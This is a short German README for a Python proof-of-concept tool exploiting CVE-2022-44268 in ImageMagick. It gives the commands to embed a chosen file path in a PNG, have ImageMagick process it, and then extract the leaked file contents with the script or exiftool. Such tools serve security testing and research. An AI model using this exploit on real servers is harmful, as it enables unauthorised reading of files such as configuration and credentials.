
Python PoC für CVE-2022-44268, das beliebige Dateiinhalte über ImageMagick in PNG-Bilder einbettet, mit Extraktionsunterstützung für exiftool.
Manche PoCs funktionieren nicht für bestimmte Dateiinhalte. Dieser PoC könnte für Inhalte funktionieren, die mit anderen PoCs nicht funktionieren.
Klone dieses Repository mit Git. Installiere dann die Abhängigkeiten.
pip install -r requirements.txt
Um Ihren Payload in ein Bild einzubetten:
python3 MagickPNG.py -i <image to modify> -f <file to read> -o <output file>
Verwenden Sie dann ImageMagick, um Ihr PNG zu aktualisieren.
Um Daten aus der mit ImageMagick modifizierten Datei zu extrahieren:
python3 MagickPNG.py -d <resulting image> -o <output file>
Wenn das nicht funktioniert, versuchen Sie, mit exiftool die Bytes als Hexadezimal zu extrahieren.
exiftool -all:all -s image.png -b